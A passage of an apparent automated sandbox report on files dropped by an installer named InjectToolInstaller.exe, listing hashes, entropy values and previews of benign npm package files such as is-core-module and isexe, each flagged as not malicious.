Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	889
Entropy (8bit):	4.619995648697239
Encrypted:	false
SSDEEP:	24:Q17Gs0syvzXxoLouduy6T9FoCE0Yup8rqXv:Y7Gs0LzhoMxy6boC9Yup//
MD5:	EFCA0EF6D93503FC006530EA6BA6E221
SHA1:	5B9ED45F87A562306D3040D99D46478A006B4856
SHA-256:	8DB7D4A620C87CD83C2C28E48BF14FAA3E7D72FF28E6120D9F42054111C28E0B
SHA-512:	1D4F156D4C7C39FACA8B25792356F233E50496E9B19FBAED00AF386DF0DEF81D60FBD77531B6ABD25DAFEBAD91C1CE36569257C1A165556867FB427DA850095A
Malicious:	false
Preview:	{. "name": "is-cidr",. "version": "4.0.2",. "description": "Check if a string is an IP address in CIDR notation",. "author": "silverwind <me@silverwind.io>",. "contributors": [. "Felipe Apostol <flipjs.io@gmail.com> (http://flipjs.io/)". ],. "repository": "silverwind/is-cidr",. "license": "BSD-2-Clause",. "scripts": {. "test": "make test". },. "engines": {. "node": ">=10". },. "files": [. "index.js",. "index.d.ts". ],. "keywords": [. "cidr",. "regex",. "notation",. "cidr notation",. "prefix",. "prefixes",. "ip",. "ip address",. "network". ],. "dependencies": {. "cidr-regex": "^3.1.1". },. "devDependencies": {. "eslint": "7.10.0",. "eslint-config-silverwind": "18.0.10",. "jest": "26.4.2",. "updates": "11.1.5",. "versions": "8.4.3". },. "jest": {. "verbose": false,. "testTimeout": 10000. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-core-module\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1078
Entropy (8bit):	5.10400582486638
Encrypted:	false
SSDEEP:	24:bErOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/Fz:bESJrlxEDdQHOs52TSaYFz
MD5:	02B0FB5FF4014A08FD4193BC3E2349E2
SHA1:	66CFC7AEA4D47EC6B426153339698F1D99F3CFDE
SHA-256:	5C496CE5AE47EB8E5DDCAA5E29C27C446A3855B19E3A66991B52F361BED22B28
SHA-512:	D6624A519F58969CAAA906650DE5BFE02083DA46AEA1492CC32D78DF5B16E52892F04BDADB75EE7D0893561E4D7A6D969B33ABE5DC8AB20D9D5D6AC970881064
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2014 Dave Justice..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-core-module\core.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5769
Entropy (8bit):	4.893824455009905
Encrypted:	false
SSDEEP:	48:E0JTIZmBRqAlmGgQAGWGG5+pUlAz3DiN/i10knCf0hfHtG32AnrZuaC4pBK4tieQ:RJ+mFZAgjftYHHp8P49cf3M1W
MD5:	49E95E84E429668738695DF34D545B9B
SHA1:	37C6F915FF10B52F46B1AE5C21E3F24DEBF5A4B8
SHA-256:	3B15132ED44AC6E1C4C5BAB6047118668B5EED571CF462A01902EFDA724D6295
SHA-512:	324D1DC3FADC7ADB74A121AD74B756C9AB329590E253B2C3AEC544B372A9DBFBCC9282FD4A7D0CC5BE03762E34D9CDEBAF1F4787825723EAE3D96356BCB1D995
Malicious:	false
Preview:	{.."assert": true,.."node:assert": [">= 14.18 && < 15", ">= 16"],.."assert/strict": ">= 15",.."node:assert/strict": ">= 16",.."async_hooks": ">= 8",.."node:async_hooks": [">= 14.18 && < 15", ">= 16"],.."buffer_ieee754": ">= 0.5 && < 0.9.7",.."buffer": true,.."node:buffer": [">= 14.18 && < 15", ">= 16"],.."child_process": true,.."node:child_process": [">= 14.18 && < 15", ">= 16"],.."cluster": ">= 0.5",.."node:cluster": [">= 14.18 && < 15", ">= 16"],.."console": true,.."node:console": [">= 14.18 && < 15", ">= 16"],.."constants": true,.."node:constants": [">= 14.18 && < 15", ">= 16"],.."crypto": true,.."node:crypto": [">= 14.18 && < 15", ">= 16"],.."_debug_agent": ">= 1 && < 8",.."_debugger": "< 8",.."dgram": true,.."node:dgram": [">= 14.18 && < 15", ">= 16"],.."diagnostics_channel": [">= 14.17 && < 15", ">= 15.1"],.."node:diagnostics_channel": [">= 14.18 && < 15", ">= 16"],.."dns": true,.."node:dns": [">= 14.18 && < 15", ">= 16"],.."dns/promises": ">= 15",.."node:dns/promises": ">= 16",.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-core-module\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1757
Entropy (8bit):	4.911393091725187
Encrypted:	false
SSDEEP:	48:QNsYkTh/HXmbrkQrTFUYMVX1/6chTrTkJDr:nh/H2fkhPF1ichTrO
MD5:	A65EEC6935F0EADCDD9C6ED89B00A878
SHA1:	05C87F01A5BFE72321888D75F680F44A346BC96E
SHA-256:	D85385D76EB4472E94D7CC3E6287BDD19D81ABB057E96FFA1449795521578EA1
SHA-512:	43F7266491630BC622257B9F89F161E07C9E80EE717B868BA2D5BD943F983340D743718847FA9E93BA6E9F0D8041E1CBB3AACF00341E05A103D6E9CFD33EA793
Malicious:	false
Preview:	'use strict';..var has = require('has');..function specifierIncluded(current, specifier) {..var nodeParts = current.split('.');..var parts = specifier.split(' ');..var op = parts.length > 1 ? parts[0] : '=';..var versionParts = (parts.length > 1 ? parts[1] : parts[0]).split('.');...for (var i = 0; i < 3; ++i) {...var cur = parseInt(nodeParts[i] \|\| 0, 10);...var ver = parseInt(versionParts[i] \|\| 0, 10);...if (cur === ver) {....continue; // eslint-disable-line no-restricted-syntax, no-continue...}...if (op === '<') {....return cur < ver;...}...if (op === '>=') {....return cur >= ver;...}...return false;..}..return op === '>=';.}..function matchesRange(current, range) {..var specifiers = range.split(/ ?&& ?/);..if (specifiers.length === 0) {...return false;..}..for (var i = 0; i < specifiers.length; ++i) {...if (!specifierIncluded(current, specifiers[i])) {....return false;...}..}..return true;.}..function versionIncluded(nodeVersion, specifierValue) {..if (typeof specifierValue === 'bool

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-core-module\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1849
Entropy (8bit):	5.086059852239787
Encrypted:	false
SSDEEP:	24:Qtb1dsbtMXRYCQwCDC9YHiF1agS4FSWdv21x60RZ1x6/Qy7s7XQJi41ktI/olC56:WObARYCuUPagS45yRYsEg4R/Es9SowjJ
MD5:	44BC74127EACC67ED7C28057B339CC34
SHA1:	D82F6C454BF09CDBF898D8343882935DD11C134A
SHA-256:	6B129CE5E76B96E420482FDBE1BF54CF821233C6E5A90916281D8949C1314CE5
SHA-512:	BC4BA2F3AC0A896EF093B8B249936ECA3195C322AFBCFF0ED51DB8EEA32D18E4AF9004082731B81A90A535ECB2434C8AC3E4102AB2BF8CCD0F68CF12FD5A57D1
Malicious:	false
Preview:	{.."name": "is-core-module",.."version": "2.13.0",.."description": "Is this specifier a node.js core module?",.."main": "index.js",.."sideEffects": false,.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."lint": "eslint .",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/inspect-js/is-core-module.git"..},.."keywords": [..."core",..."modules",..."module",..."npm",..."node",..."dependencies"..],.."author

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-core-module\test\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4072
Entropy (8bit):	5.004228353791703
Encrypted:	false
SSDEEP:	96:wg8chrjo3C7/igK43jL2tL2QOIGXURdzaY2zY2gD+K:/8chrs3mKUAGXURRZP
MD5:	9434E7EE575518CB07633B0AE1D32989
SHA1:	2C80A974E747885F90B423890BF5CFD64FEE8319
SHA-256:	36371503C167AA8660AD749BDF4C74FA7058F6B57BF2D0BE64B6E5D104E1952E
SHA-512:	503E485D64EC5DD540F37767DDFDA603DBD8E5D0EF9C5C1ABC68B27A8C427E47895E9092C679BDA89C4D8A705DD56D6DBD4574BAE2E55B6B09856E92D14706E8
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var keys = require('object-keys');.var semver = require('semver');.var mockProperty = require('mock-property');..var isCore = require('../');.var data = require('../core.json');..var supportsNodePrefix = semver.satisfies(process.versions.node, '^14.18 \|\| >= 16', { includePrerelease: true });..test('core modules', function (t) {..t.test('isCore()', function (st) {...st.ok(isCore('fs'));...st.ok(isCore('net'));...st.ok(isCore('http'));....st.ok(!isCore('seq'));...st.ok(!isCore('../'));....st.ok(!isCore('toString'));....st.end();..});...t.test('core list', function (st) {...var cores = keys(data);...st.plan(cores.length);....for (var i = 0; i < cores.length; ++i) {....var mod = cores[i];....var requireFunc = function () { require(mod); }; // eslint-disable-line no-loop-func....if (isCore(mod)) {.....st.doesNotThrow(requireFunc, mod + ' supported; requiring does not throw');....} else {.....st['throws'](requireFunc, mod + ' not supported; requirin

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-fullwidth-code-point\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	5.281569334928889
Encrypted:	false
SSDEEP:	24:YBNn0zhixBc0MrO5TmO/HrTGrArN7Rw8Xxhe3Z6edZCVBV0vBE0j:sNmH0Y6/H/GrAh7W8Bhecmr
MD5:	4E13E3959F8C2840A6A8AB3DA43C1E5B
SHA1:	8D9C9023A3B6C9F8474E60F99CE698F68C1F4C5B
SHA-256:	7DB24C9C5D58273BA32EEE1BEC3DFEBD393FDEDDD0B5879EF01DC595476E6979
SHA-512:	B68CCCCFBEEDF0596808498C004AE2E69C9739830D92F9C86D4B1A7F234F79A7F4DBF3F081993256E0C6164A5904472420CBC7C734FAB54F1372036BE41D755A
Malicious:	false
Preview:	/* eslint-disable yoda */.'use strict';..const isFullwidthCodePoint = codePoint => {..if (Number.isNaN(codePoint)) {...return false;..}...// Code points are derived from:..// http://www.unix.org/Public/UNIDATA/EastAsianWidth.txt..if (...codePoint >= 0x1100 && (....codePoint <= 0x115F \|\| // Hangul Jamo....codePoint === 0x2329 \|\| // LEFT-POINTING ANGLE BRACKET....codePoint === 0x232A \|\| // RIGHT-POINTING ANGLE BRACKET....// CJK Radicals Supplement .. Enclosed CJK Letters and Months....(0x2E80 <= codePoint && codePoint <= 0x3247 && codePoint !== 0x303F) \|\|....// Enclosed CJK Letters and Months .. CJK Unified Ideographs Extension A....(0x3250 <= codePoint && codePoint <= 0x4DBF) \|\|....// CJK Unified Ideographs .. Yi Radicals....(0x4E00 <= codePoint && codePoint <= 0xA4C6) \|\|....// Hangul Jamo Extended-A....(0xA960 <= codePoint && codePoint <= 0xA97C) \|\|....// Hangul Syllables....(0xAC00 <= codePoint && codePoint <= 0xD7A3) \|\|....// CJK Compatibility Ideographs....(0xF900 <= codePoint && co

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-fullwidth-code-point\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.0681506929270785
Encrypted:	false
SSDEEP:	24:ar4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:a8JplPvEDvQHcs5ITc3omFD
MD5:	915042B5DF33C31A6DB2B37EADAA00E3
SHA1:	5AAF48196DDD4D007A3067AA7F30303CA8E4B29C
SHA-256:	48DA2F39E100D4085767E94966B43F4FA95FF6A0698FBA57ED460914E35F94A0
SHA-512:	9C8B2DEF76AE5FFE4D636166BF9635D7ABD69CDAC4BF819A2145F7969646D39AE95C96364BC117F9FA544B98518C294233455D4F665AF430C75D70798DD4AB13
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-fullwidth-code-point\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	4.810155886293027
Encrypted:	false
SSDEEP:	12:gftNW81ThGQ91L+KauVFyNNWDebtKG2zyHN1FGNmVhMxZAArudhd8uMH0ZiL:ktY81FGQ9wvuVkYQQ0VhZArudhng
MD5:	7C2DFA1F539B955D64D6AF55282E1D9E
SHA1:	49DBCBA3EB3E3CBA5B97BCE28EB6194775D23C88
SHA-256:	5B48496CA129073ED44A677B777EA3B91366C8BC228BC75FE858749A78AC1A32
SHA-512:	C72077C7BF831EF800F96BAFE42B3E2534F71CCEF210D95823156398D93C37CA29E7F3EC547B7A9F8FEC0C94B42647AA5FE33596E0671A2B4F985236CA236C38
Malicious:	false
Preview:	{.."name": "is-fullwidth-code-point",.."version": "3.0.0",.."description": "Check if the character represented by a given Unicode code point is fullwidth",.."license": "MIT",.."repository": "sindresorhus/is-fullwidth-code-point",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "sindresorhus.com"..},.."engines": {..."node": ">=8"..},.."scripts": {..."test": "xo && ava && tsd-check"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."fullwidth",..."full-width",..."full",..."width",..."unicode",..."character",..."string",..."codepoint",..."code",..."point",..."is",..."detect",..."check"..],.."devDependencies": {..."ava": "^1.3.1",..."tsd-check": "^0.5.0",..."xo": "^0.24.0"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-lambda\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	5.118124742141511
Encrypted:	false
SSDEEP:	24:bXA6rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bXA6aJHlxE3dQHOs5exm3ogFh
MD5:	66D1A8CF6CE2A2458584A6DF341B7DA0
SHA1:	AAD15E667CDC9F19794613A1425F1DB4C290C41A
SHA-256:	4736DF0AA50D339E32C2364B5FAFEB923075E8F92EA4CC2AC5C9CA926783FFC5
SHA-512:	DC8153A34B0D3E7E6642339E8BCDA7F42206623B6FADF9CF4EFEB74680388B5CD08F8A7E9D729EEC4F2A8C1DC0D7C14A88A8ADFF48E36EAE603412A02CF23B60
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2016-2017 Thomas Watson Steen..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FRO

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-lambda\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	114
Entropy (8bit):	5.141065264685636
Encrypted:	false
SSDEEP:	3:agWAvIYBbZVMcPhY6HbgcilEf6uAHDEJ0v:QKIYBfMcPhY60ciKSYJ0v
MD5:	B1B24779FD953C34D69ED58CDFD104BA
SHA1:	613E421504BC8B8AED266C281BC01710E9A95D9E
SHA-256:	B08397C5985A5AC96C365472C92A83D5D72E8577EEF3925DC969B1893BC9F509
SHA-512:	5592803177B43098C38FE80FADE33068E6665D523C0BA728EC819AA787BF7EA63BDF3D5890A002FF3892F2B7187E0BA8A245CBC10E21DB01433CEC14A7BDBD5F
Malicious:	false
Preview:	'use strict'..module.exports = !!(. (process.env.LAMBDA_TASK_ROOT && process.env.AWS_EXECUTION_ENV) \|\|. false.).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-lambda\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	4.792375188647615
Encrypted:	false
SSDEEP:	12:9118uHGyj6aaCk2WjV8lVFObmP01qOj8hKW5OWhCuTq8FP0/h0DsNO0:j1lHGvCM2lxUCq8FD0
MD5:	CE8E69CE623D91570E5FB24079A0990D
SHA1:	D7D1AC3B9E27615002074F87DA8C39E91995EE88
SHA-256:	55C72A97449E2B52A5B763BF6CFA7DE3B9603FE2A57074066DDCBF522578C9B6
SHA-512:	DE2F36183A5F727151F23E2793FD4A47221F1042DE29E506276531CCF9FFEFA9DDFBF3F38DB0B0E83F54338B8BA5C95662C90546761057CDEFD05661DD55470D
Malicious:	false
Preview:	{. "name": "is-lambda",. "version": "1.0.1",. "description": "Detect if your code is running on an AWS Lambda server",. "main": "index.js",. "dependencies": {},. "devDependencies": {. "clear-require": "^1.0.1",. "standard": "^10.0.2". },. "scripts": {. "test": "standard && node test.js". },. "repository": {. "type": "git",. "url": "https://github.com/watson/is-lambda.git". },. "keywords": [. "aws",. "hosting",. "hosted",. "lambda",. "detect". ],. "author": "Thomas Watson Steen <w@tson.dk> (https://twitter.com/wa7son)",. "license": "MIT",. "bugs": {. "url": "https://github.com/watson/is-lambda/issues". },. "homepage": "https://github.com/watson/is-lambda",. "coordinates": [. 37.3859955,. -122.0838831. ].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\is-lambda\test.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.036854365275682
Encrypted:	false
SSDEEP:	6:QKl6MPBjQn8ciKSZk9cPhYEcsit8c2gciKSv8c8Td:WMZU8c50YcZzq83gc5Nc8Td
MD5:	9C487AE0E45D4B607720BB6220F289E8
SHA1:	76D8EC639D9289818E307A8E56DF1A84D2807D5D
SHA-256:	C04942642319190AC40E01566F2DB9501C5BFC2FB39D37B6EEF6B34464D7A616
SHA-512:	50D3C5095221581914395CE73EBBAD2EEA43F732321712122870F03F4A73B0B81A433C7E643E3D314C0B3F7705D98460D82A64366D63E1F0ACED25022EF43E21
Malicious:	false
Preview:	'use strict'..var assert = require('assert').var clearRequire = require('clear-require')..process.env.AWS_EXECUTION_ENV = 'AWS_Lambda_nodejs6.10'.process.env.LAMBDA_TASK_ROOT = '/var/task'..var isCI = require('./').assert(isCI)..delete process.env.AWS_EXECUTION_ENV..clearRequire('./').isCI = require('./').assert(!isCI).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\isexe\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\isexe\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	4.50454339159264
Encrypted:	false
SSDEEP:	24:NiVaS8BpR5wmZ+YMGnJrRpy0gOwesn7DyiorU5mYbuN1HN:NQaS83R5wmZ+sJr8JfyiyU5fbuPN
MD5:	1A5F173769C2C3B82A211AB81EBB13B9
SHA1:	9348ECE80FD6208F0B8740D43CD652DB4A5F06E6
SHA-256:	7AF7A68708317AB2B8743B44591D98CA6F5CA787E89E7C289154471FD2F67331
SHA-512:	88EACBC8AEAA623162E44DF849AECDD1E35043B726DA567E4A97E26BF035C211357D55C20E0CBF8900583B7CEB1677C182D97FA98DB28B86DF2D0C86D9A2517B
Malicious:	false
Preview:	var fs = require('fs').var core.if (process.platform === 'win32' \|\| global.TESTING_WINDOWS) {. core = require('./windows.js').} else {. core = require('./mode.js').}..module.exports = isexe.isexe.sync = sync..function isexe (path, options, cb) {. if (typeof options === 'function') {. cb = options. options = {}. }.. if (!cb) {. if (typeof Promise !== 'function') {. throw new TypeError('callback not provided'). }.. return new Promise(function (resolve, reject) {. isexe(path, options \|\| {}, function (er, is) {. if (er) {. reject(er). } else {. resolve(is). }. }). }). }.. core(path, options \|\| {}, function (er, is) {. // ignore EACCES because that just means we aren't allowed to run it. if (er) {. if (er.code === 'EACCES' \|\| options && options.ignoreErrors) {. er = null. is = false. }. }. cb(er, is). }).}..function sync (path, options) {. // my kingdom for a filtered catch.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\isexe\mode.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	909
Entropy (8bit):	4.696068756209526
Encrypted:	false
SSDEEP:	24:DBCIRHNY9UggQw62QnejJqybP4+y3mgwXtRL5Wv7ZK:DEIRHNmUgjw6VnejAyDRy31itGvVK
MD5:	E4AE002FD14A8BF3666FE9B2C811E8BB
SHA1:	5F33B53CC6B89F9EBE2EBD1DCFEB434CD96A3192
SHA-256:	0381513485DD6D0799B160A5C0BF7B4A79D1ECE5C32182DE44AA73F756A7AC54
SHA-512:	FD656291DBFC15B0278E531F37F3612EAC10BAC6E7F516E146B9694FD149F47E3A7EAD8C1A3A3CD41DABAD7D0D2DDA2D97F6EF9559F0FA35D5DE83EF87E4168F
Malicious:	false
Preview:	module.exports = isexe.isexe.sync = sync..var fs = require('fs')..function isexe (path, options, cb) {. fs.stat(path, function (er, stat) {. cb(er, er ? false : checkStat(stat, options)). }).}..function sync (path, options) {. return checkStat(fs.statSync(path), options).}..function checkStat (stat, options) {. return stat.isFile() && checkMode(stat, options).}..function checkMode (stat, options) {. var mod = stat.mode. var uid = stat.uid. var gid = stat.gid.. var myUid = options.uid !== undefined ?. options.uid : process.getuid && process.getuid(). var myGid = options.gid !== undefined ?. options.gid : process.getgid && process.getgid().. var u = parseInt('100', 8). var g = parseInt('010', 8). var o = parseInt('001', 8). var ug = u \| g.. var ret = (mod & o) \|\|. (mod & g) && gid === myGid \|\|. (mod & u) && uid === myUid \|\|. (mod & ug) && myUid === 0.. return ret.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\isexe\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	786
Entropy (8bit):	4.701962862080152
Encrypted:	false
SSDEEP:	24:t113tJd6s7d6mdQhIUP1w1GAo933JNb2O:tf33d6s7/AIU94GD53JlR
MD5:	B7340828EE0E123814F9B855953DE714
SHA1:	3B3EAB80C4FFD08EEF6B3381B98DE7BE3649D06B
SHA-256:	395C2AF9ABEEAAFE7391974C1EACFB2A2BDEEF187F21C3F5582C49E0368E59BF
SHA-512:	44B8310C47161F3000A46AB9A9C4EA9501894FF6993832E4AEA4FF1057626B8FF56942044F72FAEBD8F7603CF05E2C3C4FD194FF83A60D9CEBE254F1DFE582A7
Malicious:	false
Preview:	{. "name": "isexe",. "version": "2.0.0",. "description": "Minimal module to check if a file is executable.",. "main": "index.js",. "directories": {. "test": "test". },. "devDependencies": {. "mkdirp": "^0.5.1",. "rimraf": "^2.5.0",. "tap": "^10.3.0". },. "scripts": {. "test": "tap test/*.js --100",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --all; git push origin --tags". },. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/isexe.git". },. "keywords": [],. "bugs": {. "url": "https://github.com/isaacs/isexe/issues". },. "homepage": "https://github.com/isaacs/isexe#readme".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\isexe\test\basic.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4996
Entropy (8bit):	4.649604592698887
Encrypted:	false
SSDEEP:	96:yCGl5QBOC9QUAXWP34nosU6SylVJ5I29K9+F7FfMo6:Q/paAXe34nLUKlVJ5I29K9+F7FfMo6
MD5:	D6149183BC6A5EE3220291B53E5F4567
SHA1:	5ECBF6A46A596324CB23FDCA6DF539BE08A4F4EE
SHA-256:	7FA5CE613B782CB924483BCCD775A56F129B9B381DF4D346A9C951A789B31A90
SHA-512:	7A5AC0FAE879EF2E9C7CFACB36F728ADBA580EE380DEC23647E7131881F5264FA7ABA63C7B85C177BE6A2CE6702736EF9634E452B738F52958E7C254716CD970
Malicious:	false
Preview:	var t = require('tap').var fs = require('fs').var path = require('path').var fixture = path.resolve(__dirname, 'fixtures').var meow = fixture + '/meow.cat'.var mine = fixture + '/mine.cat'.var ours = fixture + '/ours.cat'.var fail = fixture + '/fail.false'.var noent = fixture + '/enoent.exe'.var mkdirp = require('mkdirp').var rimraf = require('rimraf')..var isWindows = process.platform === 'win32'.var hasAccess = typeof fs.access === 'function'.var winSkip = isWindows && 'windows'.var accessSkip = !hasAccess && 'no fs.access function'.var hasPromise = typeof Promise === 'function'.var promiseSkip = !hasPromise && 'no global Promise'..function reset () {. delete require.cache[require.resolve('../')]. return require('../').}..t.test('setup fixtures', function (t) {. rimraf.sync(fixture). mkdirp.sync(fixture). fs.writeFileSync(meow, '#!/usr/bin/env cat\nmeow\n'). fs.chmodSync(meow, parseInt('0755', 8)). fs.writeFileSync(fail, '#!/usr/bin/env false\n'). fs.chmodSync(fail, parseInt(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\isexe\windows.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	890
Entropy (8bit):	4.7142008074099815
Encrypted:	false
